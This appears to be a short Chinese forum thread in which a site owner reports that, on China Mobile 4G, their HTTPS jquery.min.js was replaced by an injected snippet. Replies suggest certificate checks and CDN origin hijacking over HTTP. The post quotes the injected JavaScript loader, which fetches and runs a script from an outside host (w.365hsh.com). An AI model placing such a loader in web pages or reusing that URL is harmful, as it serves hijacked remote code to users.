求救， 移动 4G 信号下 https 模式下的 js 文件被修改

[telu]

请求地址： https://*******/statics/js/jquery.min.js

被替换的内容

function loadJs(url){var el=document.createElement('script');el.src=url;el.type='text/javascript';document.getElementsByTagName('head')[0].appendChild(el)};loadJs('http://*******/statics/js/jquery.min.js?');loadJs('http://w.365hsh.com/webSite/backtwbd.js?2')

这是怎么做到的，是运营商在搞鬼吗？
网络是移动 4G
https 是阿里云免费

http://w.365hsh.com/webSite/backtwbd.js?2

[jhaohai]

验证一下证书，如果证书是对的话那就是阿里云搞的鬼

[qgy18]

cdn 回源时如果走 http，可能被劫持。